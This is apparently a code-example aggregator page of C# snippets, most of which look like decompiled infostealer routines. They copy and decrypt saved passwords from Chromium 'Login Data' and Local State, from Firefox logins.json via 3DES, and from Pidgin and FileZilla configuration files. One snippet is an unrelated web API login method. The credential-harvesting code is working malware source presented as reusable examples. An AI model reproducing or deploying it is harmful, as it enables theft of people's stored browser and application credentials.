Esempio n. 1
0
        private static LoginPair ParseAccounts(XmlNode xmlNode)
        {
            LoginPair loginPair = new LoginPair();

            try
            {
                foreach (XmlNode childNode in xmlNode.ChildNodes)
                {
                    if (childNode.Name == "protocol")
                    {
                        loginPair.Host = childNode.InnerText;
                    }
                    if (childNode.Name == "name")
                    {
                        loginPair.Login = childNode.InnerText;
                    }
                    if (childNode.Name == "password")
                    {
                        loginPair.Password = childNode.InnerText;
                    }
                }
                return(loginPair);
            }
            catch
            {
                return(loginPair);
            }
            finally
            {
                loginPair.Login    = (string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login);
                loginPair.Host     = (string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host);
                loginPair.Password = (string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password);
            }
        }
Esempio n. 2
0
        private static List <LoginPair> ParseLogins(string profile, byte[] privateKey)
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                string tempCopy = DecryptHelper.CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (!File.Exists(tempCopy))
                {
                    return(loginPairList);
                }
                foreach (JsonValue jsonValue in (IEnumerable)File.ReadAllText(tempCopy).FromJSON()["logins"])
                {
                    Asn1Object asn1Object1 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                    Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                    string     str1        = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object1.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object1.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    string     str2        = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    LoginPair  loginPair   = new LoginPair()
                    {
                        Host = string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false), Login = string.IsNullOrEmpty(str1) ? "UNKNOWN" : str1, Password = string.IsNullOrEmpty(str2) ? "UNKNOWN" : str2
                    };
                    if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        loginPairList.Add(loginPair);
                    }
                }
            }
            catch
            {
            }
            return(loginPairList);
        }
Esempio n. 3
0
        // Token: 0x0600028D RID: 653 RVA: 0x0000A30C File Offset: 0x0000850C
        private static LoginPair ParseAccounts(XmlNode xmlNode)
        {
            LoginPair loginPair = new LoginPair();

            try
            {
                foreach (object obj in xmlNode.ChildNodes)
                {
                    XmlNode xmlNode2 = (XmlNode)obj;
                    if (xmlNode2.Name == "protocol")
                    {
                        loginPair.Host = xmlNode2.InnerText;
                    }
                    if (xmlNode2.Name == "name")
                    {
                        loginPair.Login = xmlNode2.InnerText;
                    }
                    if (xmlNode2.Name == "password")
                    {
                        loginPair.Password = xmlNode2.InnerText;
                    }
                }
            }
            catch
            {
            }
            finally
            {
                loginPair.Login    = (string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login);
                loginPair.Host     = (string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host);
                loginPair.Password = (string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password);
            }
            return(loginPair);
        }
Esempio n. 4
0
        // Token: 0x060002E4 RID: 740 RVA: 0x0000E6C0 File Offset: 0x0000C8C0
        private static LoginPair ReadData(SqlConnection manager, int row, string chromeKey)
        {
            LoginPair loginPair = new LoginPair();

            try
            {
                if (manager.Fields.Contains("Password_value"))
                {
                    loginPair.Host     = manager.ParseValue(row, "Origin_url").Trim();
                    loginPair.Login    = manager.ParseValue(row, "Username_value").Trim();
                    loginPair.Password = ChromiumEngine.DecryptChromium(manager.ParseValue(row, "Password_value"), chromeKey);
                }
                else if (manager.Fields.Contains("password_value"))
                {
                    loginPair.Host     = manager.ParseValue(row, "origin_url").Trim();
                    loginPair.Login    = manager.ParseValue(row, "username_value").Trim();
                    loginPair.Password = ChromiumEngine.DecryptChromium(manager.ParseValue(row, "password_value"), chromeKey);
                }
            }
            catch (Exception)
            {
            }
            finally
            {
                loginPair.Login    = (string.IsNullOrWhiteSpace(loginPair.Login) ? "UNKNOWN" : loginPair.Login);
                loginPair.Password = (string.IsNullOrWhiteSpace(loginPair.Password) ? "UNKNOWN" : loginPair.Password);
                loginPair.Host     = (string.IsNullOrWhiteSpace(loginPair.Host) ? "UNKNOWN" : loginPair.Host);
            }
            return(loginPair);
        }
Esempio n. 5
0
        private static List <LoginPair> GetCredentials(string profilePath)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                string text = Path.Combine(profilePath, "Login Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                string[] array = profilePath.Split(new string[1]
                {
                    "\\"
                }, StringSplitOptions.RemoveEmptyEntries);
                array = array.Take(array.Length - 1).ToArray();
                string        localStatePath = Path.Combine(string.Join("\\", array), "Local State");
                SqlConnection sqlConnection  = new SqlConnection(DecryptHelper.CreateTempCopy(text));
                sqlConnection.ReadTable("logins");
                for (int i = 0; i < sqlConnection.RowLength; i++)
                {
                    LoginPair loginPair = new LoginPair();
                    try
                    {
                        loginPair = ReadData(sqlConnection, i, localStatePath);
                    }
                    catch
                    {
                    }
                    if (loginPair.Login.IsNotNull() && loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        list.Add(loginPair);
                    }
                }
                return(list);
            }
            catch
            {
                return(list);
            }
        }
Esempio n. 6
0
        // Token: 0x060002C9 RID: 713 RVA: 0x0000CBD0 File Offset: 0x0000ADD0
        private static List <LoginPair> ParseLogins(string profile, byte[] privateKey)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                if (!File.Exists(Path.Combine(profile, "logins.json")))
                {
                    return(list);
                }
                bool   flag;
                string path = DecryptHelper.TryCreateTemp(Path.Combine(profile, "logins.json"), out flag);
                foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
                {
                    JsonValue  jsonValue   = (JsonValue)obj;
                    Asn1Object asn1Object  = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                    Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                    string     text        = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    string     text2       = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    LoginPair  loginPair   = new LoginPair
                    {
                        Host     = (string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false)),
                        Login    = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text),
                        Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2)
                    };
                    if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        list.Add(loginPair);
                    }
                }
                if (flag)
                {
                    File.Delete(path);
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }
Esempio n. 7
0
        private static LoginPair ReadData(SqlConnection manager, int row, string localStatePath)
        {
            LoginPair loginPair = new LoginPair();

            try
            {
                loginPair.Host     = manager.ParseValue(row, "origin_url").Trim();
                loginPair.Login    = manager.ParseValue(row, "username_value").Trim();
                loginPair.Password = DecryptChromium(manager.ParseValue(row, "password_value"), localStatePath);
                return(loginPair);
            }
            catch
            {
                return(loginPair);
            }
            finally
            {
                loginPair.Login    = (string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login);
                loginPair.Password = (string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password);
                loginPair.Host     = (string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host);
            }
        }
Esempio n. 8
0
        private static List <LoginPair> GetCredentials(string profilePath)
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                string str = Path.Combine(profilePath, "Login Data");
                if (!File.Exists(str))
                {
                    return(loginPairList);
                }
                string[] strArray = profilePath.Split(new string[1] {
                    "\\"
                }, StringSplitOptions.RemoveEmptyEntries);
                string        localStatePath = Path.Combine(string.Join("\\", ((IEnumerable <string>)strArray).Take <string>(strArray.Length - 1).ToArray <string>()), "Local State");
                SqlConnection manager        = new SqlConnection(DecryptHelper.CreateTempCopy(str));
                manager.ReadTable("logins");
                for (int row = 0; row < manager.RowLength; ++row)
                {
                    LoginPair loginPair = new LoginPair();
                    try
                    {
                        loginPair = ChromiumEngine.ReadData(manager, row, localStatePath);
                    }
                    catch
                    {
                    }
                    if (loginPair.Login.IsNotNull <string>() && loginPair.Login != "UNKNOWN" && (loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN"))
                    {
                        loginPairList.Add(loginPair);
                    }
                }
            }
            catch
            {
            }
            return(loginPairList);
        }
Esempio n. 9
0
        // Token: 0x060002AC RID: 684 RVA: 0x0000BB40 File Offset: 0x00009D40
        private static LoginPair ParseRecent(XmlNode xmlNode)
        {
            LoginPair loginPair = new LoginPair();

            try
            {
                foreach (object obj in xmlNode.ChildNodes)
                {
                    XmlNode xmlNode2 = (XmlNode)obj;
                    if (xmlNode2.Name == "Host")
                    {
                        loginPair.Host = xmlNode2.InnerText;
                    }
                    if (xmlNode2.Name == "Port")
                    {
                        loginPair.Host = loginPair.Host + ":" + xmlNode2.InnerText;
                    }
                    if (xmlNode2.Name == "User")
                    {
                        loginPair.Login = xmlNode2.InnerText;
                    }
                    if (xmlNode2.Name == "Pass")
                    {
                        loginPair.Password = DecryptHelper.Base64Decode(xmlNode2.InnerText);
                    }
                }
            }
            catch
            {
            }
            finally
            {
                loginPair.Login    = (string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login);
                loginPair.Host     = (string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host);
                loginPair.Password = (string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password);
            }
            return(loginPair);
        }
Esempio n. 10
0
        // Token: 0x0600028C RID: 652 RVA: 0x0000A258 File Offset: 0x00008458
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                XmlTextReader reader      = new XmlTextReader(Path);
                XmlDocument   xmlDocument = new XmlDocument();
                xmlDocument.Load(reader);
                foreach (object obj in xmlDocument.DocumentElement.ChildNodes)
                {
                    LoginPair loginPair = Pidgin.ParseAccounts((XmlNode)obj);
                    if (loginPair.Login != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        list.Add(loginPair);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Esempio n. 11
0
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                XmlTextReader xmlTextReader = new XmlTextReader(Path);
                XmlDocument   xmlDocument   = new XmlDocument();
                xmlDocument.Load((XmlReader)xmlTextReader);
                foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes)
                {
                    LoginPair accounts = Pidgin.ParseAccounts(childNode);
                    if (accounts.Login != "UNKNOWN" && accounts.Host != "UNKNOWN")
                    {
                        loginPairList.Add(accounts);
                    }
                }
            }
            catch
            {
            }
            return(loginPairList);
        }
Esempio n. 12
0
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                XmlTextReader xmlTextReader = new XmlTextReader(Path);
                XmlDocument   xmlDocument   = new XmlDocument();
                xmlDocument.Load((XmlReader)xmlTextReader);
                foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes)
                {
                    LoginPair recent = FileZilla.ParseRecent(childNode);
                    if (recent.Login != "UNKNOWN" && recent.Host != "UNKNOWN")
                    {
                        loginPairList.Add(recent);
                    }
                }
            }
            catch
            {
            }
            return(loginPairList);
        }
Esempio n. 13
0
        public string Login([FromBody] LoginPair login)
        {
            if (login.Username == null || login.Password == null)
            {
                return("");
            }
            User user = database.GetUser(login.Username);

            if (user == null)
            {
                // Don't return a token if they use an invalid login and handle
                // issue on the client side.
                return("");
            }
            if (DataHandler.IsCorrectPassword(login.Password, user))
            {
                return(DataHandler.EncodeJWT(user.ID, user.Status));
            }
            else
            {
                return("");
            }
        }
Esempio n. 14
0
        private static List <LoginPair> ParseLogins(string profile, byte[] privateKey)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                string path = DecryptHelper.CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (File.Exists(path))
                {
                    {
                        foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"])
                        {
                            Asn1Object asn1Object  = Asn1Factory.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false)));
                            Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false)));
                            string     text        = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                            string     text2       = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                            LoginPair  loginPair   = new LoginPair
                            {
                                Host     = (string.IsNullOrEmpty(item["hostname"].ToString(saving: false)) ? "UNKNOWN" : item["hostname"].ToString(saving: false)),
                                Login    = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text),
                                Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2)
                            };
                            if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                            {
                                list.Add(loginPair);
                            }
                        }
                        return(list);
                    }
                }
                return(list);
            }
            catch
            {
                return(list);
            }
        }
Esempio n. 15
0
        private static LoginPair ParseRecent(XmlNode xmlNode)
        {
            LoginPair loginPair = new LoginPair();

            try
            {
                foreach (XmlNode childNode in xmlNode.ChildNodes)
                {
                    if (childNode.Name == "Host")
                    {
                        loginPair.Host = childNode.InnerText;
                    }
                    if (childNode.Name == "Port")
                    {
                        loginPair.Host = loginPair.Host + ":" + childNode.InnerText;
                    }
                    if (childNode.Name == "User")
                    {
                        loginPair.Login = childNode.InnerText;
                    }
                    if (childNode.Name == "Pass")
                    {
                        loginPair.Password = DecryptHelper.Base64Decode(childNode.InnerText);
                    }
                }
            }
            catch
            {
            }
            finally
            {
                loginPair.Login    = string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login;
                loginPair.Host     = string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host;
                loginPair.Password = string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password;
            }
            return(loginPair);
        }
Esempio n. 16
0
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                XmlTextReader reader      = new XmlTextReader(Path);
                XmlDocument   xmlDocument = new XmlDocument();
                xmlDocument.Load(reader);
                foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes)
                {
                    LoginPair loginPair = ParseRecent(childNode);
                    if (loginPair.Login != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        list.Add(loginPair);
                    }
                }
                return(list);
            }
            catch
            {
                return(list);
            }
        }
Esempio n. 17
0
        // Token: 0x060002E0 RID: 736 RVA: 0x0000DD64 File Offset: 0x0000BF64
        private static List <LoginPair> GetCredentials(string profilePath)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                string text = Path.Combine(profilePath, "Login Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                string text2 = string.Empty;
                string text3 = string.Empty;
                if (string.IsNullOrWhiteSpace(text2))
                {
                    try
                    {
                        string[] array = profilePath.Split(new string[]
                        {
                            "\\"
                        }, StringSplitOptions.RemoveEmptyEntries);
                        array = array.Take(array.Length - 1).ToArray <string>();
                        text3 = Path.Combine(string.Join("\\", array), "Local State");
                        if (!File.Exists(text3))
                        {
                            text3 = Path.Combine(profilePath, "Local State");
                        }
                        if (File.Exists(text3))
                        {
                            try
                            {
                                bool   flag;
                                string path = DecryptHelper.TryCreateTemp(text3, out flag);
                                text2 = File.ReadAllText(path).FromJSON()["os_crypt"]["encrypted_key"].ToString(false);
                                if (flag)
                                {
                                    File.Delete(path);
                                }
                            }
                            catch (Exception)
                            {
                            }
                        }
                    }
                    catch
                    {
                    }
                }
                bool   flag2;
                string text4 = DecryptHelper.TryCreateTemp(text, out flag2);
                try
                {
                    SqlConnection sqlConnection = new SqlConnection(text4);
                    sqlConnection.ReadTable("logins");
                    for (int i = 0; i < sqlConnection.RowLength; i++)
                    {
                        LoginPair loginPair = new LoginPair();
                        try
                        {
                            loginPair = ChromiumEngine.ReadData(sqlConnection, i, text2);
                        }
                        catch
                        {
                        }
                        if (loginPair.Password != "UNKNOWN")
                        {
                            list.Add(loginPair);
                        }
                    }
                }
                catch (Exception)
                {
                }
                if (flag2)
                {
                    File.Delete(text4);
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }